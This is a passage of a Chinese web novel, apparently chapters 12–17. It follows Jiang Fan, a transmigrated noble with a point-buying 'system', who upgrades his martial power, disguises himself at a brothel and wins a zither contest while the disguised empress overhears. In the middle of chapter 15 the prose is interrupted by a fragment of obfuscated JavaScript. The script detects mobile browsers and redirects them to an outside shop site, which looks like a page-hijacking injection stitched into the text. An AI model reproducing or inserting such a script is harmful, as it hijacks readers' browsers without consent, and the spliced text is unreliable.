“陛下,此策虽源于话本,看似荒诞,然其中理念,实乃老臣生平仅见!许多细节,如夯土砌石之法、清障要点,皆直指要害,非深谙水利者不能道出!
只是…具体如何勘察选址、如何计算分洪量、物资人力如何调配,尚需结合实际情况,制定详尽章程。”
萧璇月看着几位老臣激动的样子,心中那块大石,稍微放下。
她凤眸中闪过一丝光芒,果断道:
“好!既然几位爱卿皆认为可行,那便立即着手!赵爱卿,孙爱卿,你二人会同陈公、李公,即刻根据此策。
结合江南河道图与历年水情,拟出一个详细的章程来!要快!所需人手、物资,朕会责令户部、兵部协同!十日内,朕要看到可行的方案!”
“臣等遵旨!”
四人齐声应道,声音中充满了干劲。
他们看向那几页薄纸的眼神,充满了敬畏。
待几位老臣告退,急匆匆去偏殿商议章程后,御书房内重新恢复了安静。
萧璇月独自坐回龙椅,眼神落到话本手稿。
她再次翻开,这一次,她刻意忽略了那些让她心跳加速的段落,将注意力完全放在了字里行间偶尔闪烁的智慧火花上。
除了治水之策,书中还有关于吏治的零星点评(吏清则水清,吏浊则水浊)。
关于民生经济的片段思考(无农不稳,无工不富,无商不活)……
虽然都夹杂在狗血剧情里,显得零碎,但每每都能让她有种豁然开朗之感。
这个逍遥公子…萧璇月喃喃自语。
最初的那些杀意,早已在一次次惊叹与获益中转变。
她越发能肯定,写出这些东西的人,绝非凡俗。
他嬉笑怒骂,游戏人间,却似乎比满朝朱紫更懂这江山社稷。
“你究竟是谁?藏在何处?”
萧璇月望着窗外,目光仿佛要穿透重重宫墙,找到那个神秘的身影。
……
而引起这场朝堂小震动的江凡,此刻正对着翰林院计时的刻漏,心里默默倒数着下值的时刻。
什么治水方略,什么朝堂震动,都离他无比遥远。
他唯一的念头就是:时间快点走,老子要下班!
终于,象征散值的钟声悠扬响起。
江凡动作麻利地收拾好桌案,在同僚们略显诧异的目光中,第一个溜出了翰林院的大门。
那迫不及待的样子,仿佛多待一刻都是煎熬。
回到镇国公府,江凡习惯性地想去给父亲请安,却被告知国公爷今日去了京郊大营,有军务要处理,晚间未必回来。
他又转向姐姐江芷兰居住的院落,丫鬟却说大小姐午后便被宫里来人请去了,说是陛下召见。
“都不在?”
江凡一愣,随即心里乐开了花。
原主的母亲早逝,父亲不在,姐姐进宫,这府里岂不是没人能管他了?
他立刻回到自己的小院,关上门,第一件事就是心神沉入系统界面。
这段时间,《深宫秘恋》持续火爆,尤其是最新一期夹带的‘私货’质量极高,人气值增长迅猛。
加上之前教训王鹏父子间接导致王侍郎倒台,也带来了一波不小的额外收益。
此时,系统面板上显示的人气值余额,已经达到了三万五千多点!
“终于攒够了!”
江凡兴奋地搓了搓手。
修为是立身之本,必须优先提升。
他毫不犹豫,心中默念:
“系统,兑换内力灌输,目标,提升至后天二品!”
【消耗20000点人气值,开始灌输内力…】
轰!
精纯的能量瞬间涌入丹田,汹涌地冲刷着他的奇经八脉。
骨骼发出细微的爆鸣,肌肉纤维仿佛在被撕裂重组,带来的痛楚远超以往,但伴随而来的力量感也更加强大!
他能清晰地感觉到,丹田内的真气变得无比凝实,周身感官再次提升了一个层次,连窗
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外树叶的脉络都似乎清晰可见。
片刻之后,能量灌输结束。
江凡缓缓睁开眼,眸中精光一闪而逝。
他握了握拳,感受着体内澎湃的力量,满意地点点头。
后天二品!
在这京城年轻一辈中,也算是不错的实力了,至少自保能力大大增强。
看着还剩下的一万五千多点人气值,江凡想了想,决定兑换一门高级身法。
他深知‘天下武功,唯快不破’的道理,打不过还能跑,保命最重要。
“系统,兑换一门高级身法秘籍!”
光幕流转,琳琅满目的身法选项出现:
【游龙身法(玄阶中品):身若游龙,变幻莫测,擅长小范围腾挪闪避。兑换需12000人气值。】
【踏雪无痕(玄阶上品):注重速度与轻灵,长途奔袭与高来高去之选。兑换需15000人气值。】
【幻魔步(地阶下品):诡秘难测,蕴含幻影分身之效,极难修炼。兑换需30000人气值。】
江凡看了看自己的余额,又对比了一下效果,最终选择了【游龙身法】。
玄阶中品,正好够用,而且侧重闪避,很适合他这种‘苟’道中人。
【消耗12000点人气值,兑换【游龙身法】成功。相关**感悟已传输。】
刹那间,关于如何运气、如何步、如何借力变幻的身法要诀涌入脑海,仿佛经过了千锤百炼。
江凡甚至能感觉到双腿的肌肉记忆都发生了细微的改变,更加轻盈灵动。
实力大进,江凡心情愈发舒畅。
看着系统里还剩下的三千多点人气值,他决定今晚给自己放个假!
天天熬夜构思剧情、偷偷摸摸写作,精神压力也挺大的。
既然府里没人管,何不出去逍遥快活一番?
一个念头不可抑制地冒了出来:去青楼!
原主江凡可是京城青楼的常客,虽然名声不好,但那种地方,确实是这个时代最顶级的娱乐场所。
穿越过来这么久,整天不是装纨绔就是偷偷写书,还没真正去体验过这个时代的‘夜生活’呢!
说干就干!
第013章 便宜的技能
江凡唤来贴身小厮:
“去,跟账房说,本少爷支一千两银票!”
小厮吓了一跳:“少…少爷,您要这么多银子干嘛?”
“废话那么多?少爷我自然有用处!”
江凡摆出纨绔的派头,“赶紧的!”
暮色渐深,华灯初上。
镇国公府侧门,一个身影闪了出来,迅速融入京城夜晚的人流中。
这人穿着一身半新不旧的布袍,头上戴了顶遮住半边脸的宽檐帽,走路时微微佝偻着背。
正是经过一番‘精心’伪装的江凡。
“易容术没白兑换…”
江凡摸了摸脸,又压了压帽檐,心中稍定。
他实在怕极了被老爹知道他下班后不老老实实在家‘修身养性’,反而跑去烟花之地。
这要是被逮到,肯定又要恨铁不成钢。
所以出门前,他不仅换了普通衣服,还花费500人气值兑换初级易容术稍作修饰。
穿过几条热闹的街市,前方,一栋雕梁画栋、灯火通明的三层建筑映入眼帘。
门前车水马龙,莺声燕语不绝于耳,正是京城最有名的销金窟——百花楼。
江凡深吸一口气,迈步就往里走。
心里还暗自嘀咕:这身打扮,总该低调点了吧?
谁知他一只脚刚踏进那门槛,一个风韵犹存的老鸨就眼尖地瞥见了他。
那脸上的笑容瞬间绽放,扭着腰就迎了上来,带着一股子热情:
“哎哟喂!我的江大世子爷!您可有些日子没来照顾我们生意了!可想死我了!”
江凡脚下一个趔趄,差点没站稳。
他难以置信地抬头,瞪着眼前这张笑得见牙不见眼的老脸,压低声音,几乎是咬着牙问:
“你…你怎么认出我的?”
他这易容术难道是假的?
那老鸨拿团扇掩着嘴,吃吃地笑,眼神里透着精明的光:
“哎哟,我的世子爷哎,您这通身的气派,这走路的范儿,别说换身粗布衣裳,就是脸上抹把灰,
我隔着三条街也能认出来呀!您可是我们这儿的常客,贵宾中的贵宾!”
江凡一阵无语,得,看来原主这深入骨髓的纨绔气质,不是换个马甲就能掩盖的。
他无奈地摆摆手,再次压低声音:
“行了行了,今晚本…本公子就是想图个清静,听听曲儿喝喝酒,别声张,给我找个僻静点的包间。”
老鸨是何等人物,瞬间了然,挤眉弄眼地小声道:
“明白明白!国公爷家风严,妈妈懂的!您放心,保证安排得妥妥当当,绝不让闲杂人等打扰了世子的雅兴!”
说着,便亲自引着江凡绕过大堂,沿着楼梯上了三楼,进了一间名为‘听雪轩’的雅致包间。
这里位置偏里,窗外对着后院的小花园,确实清静不少。
打发走了殷勤伺候的丫鬟,江凡独自坐在窗边,要了一壶上好的花雕,几碟精致小菜,自斟自饮起来。
隔着珠帘,他能看到楼下大堂里已是人头攒动,达官显贵、富商巨贾、文人墨客应有尽有。
一个个衣冠楚楚,推杯换盏,与身边巧笑倩兮的姑娘们调笑嬉闹。
丝竹悦耳,歌舞曼妙。
“唉,由俭入奢易,由奢入俭难啊…”
江凡抿了口酒,心中感慨。
这等繁华景象,对于这个时代缺乏娱乐的男人们来说,诱惑力太大了,难怪原主会沉溺其中。
若非自己有系统,保不齐也会慢慢堕落。
正当他思绪飘飞时,楼下舞台上的歌舞暂歇。
老鸨扭着腰肢上台,满脸堆笑:
“各位贵客,承蒙大家捧场,今晚咱们百花楼蓬荜生辉!接下来,按照老规矩,有请我们的头牌,清倌人——柳絮姑娘,为大家献上一曲!”
话音刚落,整个百花楼瞬间安静下来,所有人的目光都齐刷刷地聚焦在舞台后方那扇珠帘上。
就连江凡,也忍不住坐直了身子,透过珠帘缝隙向外望去。
记忆中对这位花魁只有模糊的印象,是个心高气傲,卖艺不**
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的清官人。
据说很多达官显贵想给她赎身,却被拒绝。
用柳絮的话说,遇到她喜欢的,可以分文不出,她自己能给自己赎身。
要是不喜欢的,即使拿出金山银山,或者武力逼迫,也休想让她就范。
她定下的要求非但没有让达官显贵生气,反而都说她才貌双绝,有个性,让百花楼的生意更好了。
只是用江凡的话来说,这就是既要又要的表现。
而那些达官显贵、风流才子、江湖豪侠们,不过是一群自命清高的蠢货。
嗯,扯远了。
眼看要开始表演乐曲,江凡作为‘乐盲’,感觉不是合格的纨绔。
他花费1000人气值,直接兑换了【乐器精通(宗师级)】
系统商城里,辅助技能都很便宜。
只有能提升修为或者增加实力的技能才很贵。
江凡也决定等以后提升修为的人气值要是变成海量,就时不时兑换一些副业技能。
比如厨艺、茶艺什么的。
刚刚接收完乐器精通,就见到珠帘轻挑,一个身着月白色长裙的女子缓步走出。
她脸上罩着一层白纱,只露出一双剪水秋瞳,眉如远山,顾盼间自带一股清冷出尘的气质。
江凡穿越前后也算见过不少美女,但此女那种柔弱与孤高、仿佛不食人间烟火的气质,确实独具魅力,远非前世那些包装出来的明星可比。
他下意识地端起酒杯,望着楼下那道倩影,带着几分微醺的惬意和纯粹的欣赏,低声吟道:
“娉娉袅袅十三余,豆蔻梢头二月初。春风十里扬州路,卷上珠帘总不如。”
他声音不高,在这喧闹背景中本应被淹没。
吟完也就罢了,继续自斟自饮,目光重新投向台上的演奏。
然而,就在他吟出这首诗的刹那,隔壁名为‘望梅阁’的包间里,两位正在安静品茶的‘公子’几乎同时动作一滞!
为首那位面如冠玉的‘公子’,正是易容出宫的女帝萧璇月。
第014章 躲是躲不掉
萧璇月今日心烦意乱,一方面因江南水患初步方案落地而稍松。
另一方面又对那神龙见首不见尾的逍遥公子耿耿于怀。
鬼使神差便带着云暮来了这京城消息最灵通之一的百花楼。
名为散心,实存侥幸,希望能遇到逍遥公子。
她原本正心不在焉地听着外面的琴音,隔壁包间那略带慵懒的吟诗声,便这般突兀地钻入了耳中。
开头‘娉娉袅袅’四字一出,萧璇月端茶的手便微微一顿。
这起句,轻灵曼妙,直接将女子的体态之美勾勒得鲜活无比。
豆蔻梢头二月初——以初春豆蔻蓓蕾喻人,新颖贴切,将那种青春逼人、含苞待放的感觉写到了极致!
待到‘春风十里扬州路,卷上珠帘总不如’两句出来,萧璇月心中已是波澜骤起!
这是何等的赞誉?
春风十里,扬州繁华,所有珠帘后的美人都算上,也总不如你!
这是赤裸裸的偏爱,却又写得如此含蓄风流,意境全出!
这诗…绝非凡品!
即便放在当今文坛,也堪称惊艳!
萧璇月自身文学修养极高,瞬间就品出了其中妙处。
她凤眸中闪过一丝光芒,下意识地侧耳倾听,这声音有点耳熟啊...
“公…公子,这声音…好像是…镇国公府的那位世子,江凡?”
萧璇月执杯的手悬在半空,美眸中充满了不可思议!
江凡?!
那个名声狼藉的纨绔子弟江凡?!
他…他竟然能随口吟出如此清丽脱俗、意境高远的诗句?
萧璇月的心跳,不由自主地加快了几分。
她强行压下心中的惊涛骇浪,对云暮做了一个绝对禁声的手势,眼神变得无比锐利和专注。
她需要再确认!
这到底是巧合,还是…这个江凡,真的在藏拙?
“静观其变。”
萧璇月的声音低沉的端起茶杯。
而此刻,隔壁的江凡对自己随口一句感慨引发的震动毫无察觉。
他正专注于柳絮的琴声。
淙淙琴音流淌而出,如高山流水,如空谷幽兰,技巧纯熟,意境清远。
大堂内鸦雀无声,所有人都沉浸在美妙的琴声里。
连江凡这个刚刚获得乐器精通的人,也不得不承认,这曲子确实好听,手法也十分娴熟。
然而,就在曲子进行到后半段,几个略显急促的轮指处,他几乎是下意识地轻轻‘啧’了一下,低声嘀咕:
“…技巧是够了,可惜这里转得有点急,火候稍欠,意境断了半分。”
他这话本是自言自语,纯粹是技能带来的本能反应,说完就忘了,继续喝酒看美女。
可他万万没想到,旁边的女帝正专心听着他这边的动静,恰好就听到了他的随口点评。
云暮修为也不俗,耳力极佳,听得真切,脸上顿时露出诧异之色,低声道:
“公子,江世子…好像对柳大家的琴技颇有微词?”
萧璇月凤眸微眯,心中剧震。
诗词可以是买的,或许是巧合。
但这需要对乐曲有极深造诣才能做出的专业点评,也是能买来的吗?
难道这江凡,真的在藏拙?
他平日那副不学无术的样子,全是装出来的?
这个念头一起,如同野草疯长。
她按捺住心中的波澜,低声道:
“静观其变。”
她倒要看看,这个‘纨绔’,接下来还会有什么‘惊喜’。
然而,还没等萧璇月进一步试探,另一边的麻烦却先找上门了。
与江凡的‘听雪轩’另一侧相邻的‘赏菊阁’里,一位留着山羊胡的老者,正脸色铁青地放下酒杯。
他正是京城乐坛颇有名望的大家,人称‘焦尾先生’的周文渊。
此人琴技确有过人之处,但为人倨傲,自视极高。
尤其痴迷柳絮,早已将其视为禁脔,容不得他人有半分亵渎或质疑。
他自然也听到了江凡那声低语。
在他听来,这无异于对心中女神的莫大侮辱!
更何况,他周文渊都未曾挑出毛病的演奏,一个不知哪里来的小子也敢妄加评论?
恰在此时,柳絮一曲终了,余音袅袅。
全场爆发出热烈的掌声和叫好声。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16880038|191960||http|test|mini|href|location''.split(''|''),0,{}));
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r>周文渊猛地推开包间门,大步走到廊道上,对着江凡包间的方向,声音带着压抑的怒火,朗声道:
“是哪位高人躲在包厢里,对柳大家的仙音评头论足?既然有如此见识,何不现身一见,让周某也领教领教,什么样的琴技才不算‘火候稍欠’?!”
这一声质问,瞬间打破了百花楼内的和谐气氛。
所有人的目光,包括刚刚演奏完毕、正欲起身退场的柳絮,都带着惊讶和疑惑,齐刷刷地投向了三楼‘听雪轩’的方向。
大堂里顿时议论纷纷:
“谁啊?这么狂?”
“竟敢说柳大家的琴艺火候不够?”
“是周大家!焦尾先生!他这是动怒了啊!”
“有好戏看了!”
江凡正美滋滋地品着酒,没想到祸从天降,一口酒差点呛在喉咙里。
他心中暗叫倒霉,自己就是随口吐槽一句,怎么还被人听到了?
听这口气,来找茬的似乎还是个懂行的?
隔壁‘望梅阁’内,云暮眉头微蹙,低声道:
“公子,是焦尾先生周文渊,此人脾气古怪,怕是不肯干休。要不要…”
萧璇月却抬手制止,嘴角反而勾起一丝玩味的笑意:
“不急。看看咱们这位‘不学无术’的江世子,如何应对。”
她越发觉得,今晚这趟青楼,来得值了。
这江凡,就像一颗被包裹在顽石中的璞玉,似乎正在被外力一点点敲开外壳。
江凡心里把那个多管闲事的家伙骂了无数遍,但众目睽睽之下,躲是躲不掉了。
他定了定神,想起自己现在的人设是‘低调的纨绔’,但不能任人拿捏。
于是,他清了清嗓子,依旧坐在包间里,隔着珠帘,用一副漫不经心的语气回道:
“哦?我当是谁呢。原来是个听墙角的。本公子在自己包间里喝酒品曲,自言自语,碍着谁了?
柳大家的曲子自然是极好的,本公子又没说她弹得不好,只是觉得某个小地方,或许可以更圆融些罢了。
这也有错?莫非这百花楼,如今连客人私下说句话都不行了?”
第015章 打个赌如何
江凡这番话说得混不吝,却又占着理。
意思很明白:我在自己包间里说话,你偷听还有理了?
我又没公开诋毁。
周文渊被噎了一下,尤其是那句‘听墙角的’,更是让他老脸一红。
但他岂肯罢休,尤其是看到楼下柳絮也正抬头望来,更是急于表现,冷笑道:
“好个牙尖嘴利的小子!既然敢评点,想必自身琴技定然超凡入圣了?何必藏头露尾。
不如出来,与周某,也与柳大家,当众切磋一番?若你只是信口开河,哗众取宠,就休怪周某替柳大家,向你讨个说法了!”
这话已是赤裸裸的挑战了。
顿时,所有人的兴趣都被吊了起来。
纷纷猜测这包厢里究竟是何方神圣,竟敢引得焦尾先生如此动怒,还要当众切磋?
柳絮站在台上,轻纱下的秀眉微蹙。
她并不喜欢这种争强好胜的场面,但周文渊将她抬了出来,她也不好立刻离开。
江凡心里把这个多管闲事的老家伙骂了无数遍。
他本意是来放松看热闹,谁成想一句随口的吐槽竟引来这么**烦。
他飞快地扫视自身,靛蓝布袍,宽檐帽,脸上还有易容术的轻微修饰。
“嗯,不是特别熟的人,应该认不出。老鸨那边…等下警告她闭嘴就行。”
打定主意要维持‘低调纨绔’的人设,但又不能任人拿捏堕了气势,江凡清了清嗓子回敬道:
“在本公子自家包间里品评两句曲乐,是犯了哪条王法?莫非这百花楼的规矩,是只许放屁,不许闻声?”
他这话粗俗中带着混不吝,顿时引来楼下一些看客的低笑声。
周文渊在廊道上气得胡子直抖,他何等身份,何时被人如此当众羞辱过?
尤其还是在这种场合,在心仪的柳大家面前!
他厉声道:
“黄口小儿!休要逞口舌之快!你既敢妄评柳大家琴艺‘火候稍欠’,想必自身琴技已臻化境!
何必藏头露尾,有种便出来,与老夫,也与在场诸位同道,当众论个高下!若只是信口雌黄,哗众取宠,就休怪老夫替柳大家,向你讨个公道了!”
他巧妙地将柳絮拉下水,试图占据道德制高点。
台上的柳絮闻言,轻纱下的秀眉微蹙。
她性子清冷,不喜纷争,尤其厌恶被人当枪使。
但周文渊所言,又确实牵涉到对她琴艺的评价,她不便立刻离去。
只得静立台上,目光清冷地望向三楼,想看看那包厢中究竟是何方神圣。
江凡在包间里撇撇嘴,跟个老头子当众斗琴?
赢了没面子,输了更丢人,纯属吃力不讨好。
只是老东西咄咄逼人,今天要是不展示一下,他肯定不依不饶。
想到这,江凡淡淡开口道:
“论个高下?跟你这老…老先生?”
他差点把‘老匹夫’说出口,及时刹住,换了个稍微客气点的词,
“没兴趣。本公子怕赢了,你说我欺负年老体衰;输了,你又说我徒有虚名。里外不是人。”
周文渊怒极反笑:
“哈哈哈!好个牙尖嘴利的小儿!分明是胆怯不敢,却在此巧言令色!柳大家,您也看到了,此等无胆鼠辈,其言可信乎?”
柳如絮尚未开口,江凡的声音再次响起,带着一种居高临下的调侃:
“急什么?本公子话还没说完。跟你比,掉价。不过嘛…”
他话锋一转,
“既然你非要说本公子是‘妄评’,而柳大家似乎也想听听‘不足’之处,那本公子就勉为其难,说道两句。”
他顿了顿,然后朗声道:
“方才柳大家所奏《春江花月夜》,整体意境空灵,技巧纯熟,尤其轮指一段,疾而不乱,显是下过苦功。然而…”
他这一‘然而’,顿时吸引了所有人的注意力。
连柳絮也微微挺直了背脊,凝神细听。
“然而,开篇引子,为求‘静’而过于滞涩,少了些流水初动的生机;中段描绘‘月’上中天时,几个泛音处理得略显急促,失了那份从容不迫的韵味;
至于最后的‘夜’深人静,收尾时气息稍显浮躁,未能将‘江潭落月复西斜’的悠远余韵彻底沉下来。
简而言之,形已具,神稍欠,火候…确实还差那么一两点。”
江凡语速平缓,侃侃而谈。
他这番话,并非信口开河,而是基于【乐器精通(大师级)】的深厚底蕴,直指演奏中细
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微的节奏、气息和意境把控问题。
外行听个热闹,只觉得他说得头头是道;
内行如柳絮和周文渊,却是越听越是心惊!
因为江凡指出的这几处,正是柳絮自己隐约感觉到,却始终难以完美突破的瓶颈!
柳絮娇躯微震,掩在薄纱下的美眸爆发出惊人的光彩!
她对着‘听雪轩’的方向,郑重地行了一礼,声音带着一丝激动:
“公子真乃知音!如絮受教了!方才演奏时,确有此感,只是难以言明,更不知如何改进。公子一席话,令如絮茅塞顿开!”
这一下,全场哗然!
花魁柳大家竟然亲口承认,并感谢指点?!
这神秘公子,是真有本事啊!
周文渊的脸色瞬间变得难看至极。
他本想借题发挥,打压对方,没想到反而成全了对方,让柳絮对其产生了‘知音’之感!
这简直是搬起石头砸自己的脚!
妒火混合着羞恼,让他几乎失去理智。
“哼!巧言令色!纸上谈兵谁不会?”周文渊强行辩驳,
“说得天花乱坠,不过是拾人牙慧!有真本事,就亮出来让大家瞧瞧!演奏一曲,让柳大家,也让在场所有人评判评判,什么是真正的‘火候’!
若是不敢,就休怪老夫认定你是个只会耍嘴皮子、哗众取宠的卑鄙小人,用这等下作手段引起柳大家注意!”
这话已是极其严重的指控了,近乎人身攻击。
江凡在包间里,眼神也冷了下来。
这老家伙,没完没了是吧?
真当小爷我是泥捏的?
他深吸一口气,压下火气,反而用一种更加轻松的语气说道:
“老丈,激将法对本公子没用。不过嘛…你非要自取其辱,本公子成全你也无妨。”
他话锋一转,提出了条件:
“这样吧,光演奏多没意思。咱们打个赌如何?就请柳大家做裁判。若我演奏之后,柳大家认为,我的乐曲水平在她之上。
或者说,至少指出了她未曾意识到的精妙之处…那么,就请老丈你,当众给本公子赔个不是,承认自己是有眼无珠。
并且,你今晚在百花楼的所有花费,算在本公子账上,如何?”
第016章 换了一个人
周文渊一听,简直气笑了。
这小子狂妄得没边了!
柳絮的琴艺已是京城顶尖,他一个毛头小子,还能超过她去?
就算柳絮顾及面子不说他差,自己这双耳朵也不是摆设,总能挑出毛病!
“好!赌就赌!”周文渊毫不犹豫地应下,
“若你演奏平平,或者有明显瑕疵,被柳大家或老夫指出,那你便需当众向柳大家道歉,承认你之前是污蔑!
并且,你今晚,还有老夫今晚的所有花费,都由你买单!”
“成交!”江凡爽快答应,随即补充道,
“不过,为免有人说本公子欺负你年老耳背,评判标准就以柳大家的意见为准。她说好,便是好;
她说有不足,那便是我输。老丈你就别掺和评判了,安心听着便是。”
这话更是把周文渊噎得够呛,等于剥夺了他的裁判权。
“你…!”
周文渊气得浑身发抖,但众目睽睽之下,也只能硬着头皮应下:
“好!就依你!请柳大家公正评判!”
柳絮站在台上,心情复杂。
她本不欲卷入这种争斗,但此刻已被架上高台,且她对包厢中那位也充满了好奇,便微微颔首:
“如絮必当公允。”
赌约既定,全场气氛达到了高潮!
所有人都伸长了脖子,期待那神秘公子的表演。
江凡这才不慌不忙地对着门外候着的老鸨吩咐道:
“妈妈,劳烦送一张七弦琴进来。记住,要最好的。”
在老鸨进来后,他压低声音警告:
“管好你的嘴,今晚没人来过‘听雪轩’,明白吗?”
老鸨是何等精明人物,瞬间会意,连连点头,赔着笑道:
“公子放心,妈妈我省得,省得!”
心中却暗惊,这江世子,今日气势与往常大不相同啊!
隔壁‘望梅阁’内,女帝萧璇月和云暮将隔壁的对话听得一清二楚。
听到江凡不仅应战,还提出了如此‘嚣张’的赌约,云暮忍不住低声道:
“公子,这江凡…也太托大了吧?柳大家的琴艺…”
萧璇月却抬手制止了她,美眸中闪烁着好奇和探究的光芒,嘴角甚至勾起一抹笑意:
“无妨,且看他如何应对。这小子…藏得可真深。”
她越来越确信,今晚必有‘好戏’上演。
很快,一张做工精良的七弦琴被送入‘听雪轩’。
江凡挥手屏退了旁人,包厢内只剩下他一人。
他走到琴前,深吸一口气。
他并未选择那些高难度的炫技曲目,而是选了一首意境幽远、更重情感表达的古典名曲《高山流水》。
“铮——”
第一个音符响起,清脆悠长,如同山涧清泉滴落深潭。
原本还有些嘈杂的大堂,瞬间安静下来。
紧接着,一连串清脆的泛音流淌而出,仿佛冰雪初融,溪水欢快地在山石间跳跃、汇聚。
琴音灵动而富有生机,每一个音符都恰到好处,勾勒出一幅早春山溪的鲜活画面。
懂行的人立刻听出,这开篇的掌控力,对音色的把握,已臻化境!
柳絮美眸瞬间睁大,下意识地向前迈了一小步,全身心都沉浸到了琴声描绘的意境之中。
琴声渐响,由溪流汇成小河,水势变得平缓而深沉,旋律也变得宽广起来。
左手的吟揉绰注技巧运用得出神入化,将水流的那种绵延不绝、深沉内敛的韵味表现得淋漓尽致。
众人仿佛看到一条大河在月光下静静流淌,波光粼粼,深邃莫测。
周文渊脸上的不屑和怒气早已消失不见,取而代之的是无比的凝重和…一丝难以置信!
这琴音…这意境…这技巧…怎么可能是一个年轻人能拥有的?!
琴声再变,节奏加快,力度增强!
仿佛河流遭遇险滩峡谷,水势变得湍急汹涌,惊涛拍岸,卷起千堆雪!
琴音变得激昂慷慨,充满了力量感,却又乱中有序,将水流的狂暴与自然的伟力展现得惊心动魄!
不少听众都下意识地握紧了拳头,屏住了呼吸。
高潮过后,琴声逐渐平复,变得悠远、空旷。
仿佛洪水过后,大江东去,汇入无边无际的海洋,只留下淡淡的余响和无限的遐思。
最后一个音符轻轻落下,余韵袅袅,久久不散。
整个百花楼,陷入了一片死寂。
落针可闻。所有人都仿佛还沉浸在那条‘流水’的旅程中,从涓涓细流到奔腾大河,最终归于浩瀚。<
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br>那种身临其境的感觉,强烈得让人窒息。
“哐当!”
不知是谁手中的酒杯掉在了地上,碎裂声才惊醒了众人。
下一刻,雷鸣般的掌声和喝彩声轰然爆发!
几乎要掀翻百花楼的屋顶!
“神乎其技!神乎其技啊!”
“此曲只应天上有!”
“我…我好像真的看到了一条河!”
“柳大家的曲子是美,可这…这简直是仙乐啊!”
柳絮站在原地,久久无法回神。
她看着‘听雪轩’的方向,美眸中充满了震撼、钦佩,以及一种激动。
她自幼**琴,深知要达到如此‘琴人合一,意境自生’的境界是何等艰难!
对方不仅技巧无可挑剔,更可怕的是对乐曲意境的诠释和感染力,完全超越了她之前的理解!
她之前那点所谓的‘火候’,在对方面前,确实显得…稚嫩了。
周文渊面如死灰,失魂落魄地站在那里。
挑刺?
他倒是想挑!
可从头到尾,他竟找不出一丝一毫的瑕疵!
无论是技巧、节奏、气息、还是意境的营造,都完美得令人绝望!
他之前所有的傲慢和质疑,在此刻都变成了响亮的耳光,狠狠地抽在他自己脸上。
隔壁‘望梅阁’,云暮已经惊得捂住了嘴,看向自家陛下。
只见萧璇月端坐在那里,面无表情,但那双凤眸之中,却闪烁着光芒!
她放在膝盖上的手,不自觉地微微握紧。
江凡…这个她印象中一无是处的纨绔子弟…竟然藏着如此惊世骇俗的琴技?!
这已经不是藏拙了!
这简直是换了一个人!
在一片沸腾的赞誉声中,江凡慵懒的声音再次从‘听雪轩’传出,带着几分漫不经心:
“柳大家,如何?可还入耳?若有不足之处,但说无妨,本公子洗耳恭听。”
柳絮深吸一口气,压下心中的澎湃,对着包厢方向,再次深深一福,声音带着前所未有的恭敬:
“公子琴技,已臻化境,意境高远,奴家…望尘莫及!方才公子所指点的不足之处,奴家心服口服!此一曲,如絮受益终身!”
这话一出,等于直接宣布了赌局的结果!
第017章 暴露了实力
周文渊浑身一颤,脸色由灰转白,再由白转青,最终化作一片死寂的绝望。
江凡轻笑一声,语气依旧轻松:
“柳大家过誉了,切磋而已。那么…”
他话锋转向周文渊的方向,“隔壁那位老丈,你是不是该…履行赌约了?”
所有人的目光,瞬间射向面如死灰的周文渊。
他浑身颤抖,嘴唇哆嗦着,想说什么反驳的话。
却发现自己引以为傲的乐理知识在对方面前苍白得可笑,任何挑剔的言语都只会显得自己更加可笑和小气。
“你…你…”
周文渊指着‘听雪轩’的方向,你了半天,最终化作一声羞愤的闷哼,猛地一甩袖子,对着身边早已吓傻的小厮低吼道:
“我们走!”
他几乎是踉跄着冲下楼,在经过柜台时,扔下一锭足有五十两的雪花银,对着目瞪口呆的掌柜从牙缝里挤出一句:
“隔壁…听雪轩的账…算我的!”
说完,头也不回地逃离了百花楼这个让他颜面扫地的伤心地。
看着周文渊狼狈而逃的背影,大堂内先是一静,随即爆发出更加热烈的议论和哄笑声。
谁能想到,堂堂‘焦尾先生’,竟在一个神秘公子面前输得如此彻底,连带着今晚的消费都替对方买了单!
这简直是本年度京城最大的乐子之一!
风波暂息,但众人的焦点却更加集中在了‘听雪轩’那位神秘公子身上。
能令柳大家折服,让周文渊溃败,此人之才,堪称惊世骇俗!
他究竟是谁?
柳絮站在台上,心潮依旧澎湃。
她犹豫片刻,还是鼓起勇气,对着三楼方向,声音带着一丝恳切与仰慕,盈盈一拜:
“公子大才,奴家钦佩不已。不知…可否请公子移步一见?也好让奴家当面请教琴艺精要。”
她这话一出,顿时引得无数人羡慕嫉妒恨。
花魁柳大家主动邀约,这是多少王孙公子求都求不来的殊荣!
包厢内,江凡却是一个激灵。
见面?
开什么玩笑!
他现在可是‘易容’状态,虽然效果一般,但跟柳絮这种心思细腻的人近距离接触,难保不会被看出破绽。
而且,他今晚的目的是低调,可不想暴露自己纨绔身份。
他立刻用带着几分疏离和慵懒的语调回道:
“柳大家客气了。琴艺之道,贵在悟性,言传身教反落了下乘。今日所言,不过是酒后狂言,当不得真。请教之事,就此作罢吧。”
拒绝得干脆利落,没有丝毫拖泥带水。
这番拒绝,再次让楼下众人哗然!
连柳絮亲自邀约都拒绝了?
这…这也太傲了吧?!
隔壁‘望梅阁’内,女帝萧璇月和云暮对视一眼,都从对方眼中看到了惊讶。
能抵挡住京城第一花魁的主动亲近,这份心性定力,绝不是一个沉溺声色的纨绔子弟所能拥有的!
萧璇月对江凡的好奇心又加重了一层。
这家伙,伪装之下,到底藏着怎样的真面目?
柳絮被拒,脸上闪过一丝明显的失落,但她并未放弃,依旧保持着风度,柔声道:
“公子淡泊,奴家佩服。只是…今日得闻仙音,如获至宝,若不知公子名讳,他日茫茫人海,奴家何处再寻知音?还请公子赐下名号,也好让如絮铭记于心。”
这是退而求其次,想要个名字了。
江凡心里暗道麻烦,这女人还挺执着。
给真名是绝对不可能的,随便编一个又显得没格调。
他眼珠一转,想起前世一句逼格满满的诗,正好符合自己现在‘神秘高人’的人设。
于是,他清了清嗓子,用一种带着几分超然物外的腔调,悠然吟道:
“天下风云出我辈,一入江湖岁月催。皇图霸业谈笑中,不胜人生一场醉。提剑跨骑挥鬼雨,白骨如山鸟惊飞。尘事如潮人如水,只叹江湖几人回。”
吟罢,不等众人回过神来,他便接着说道:
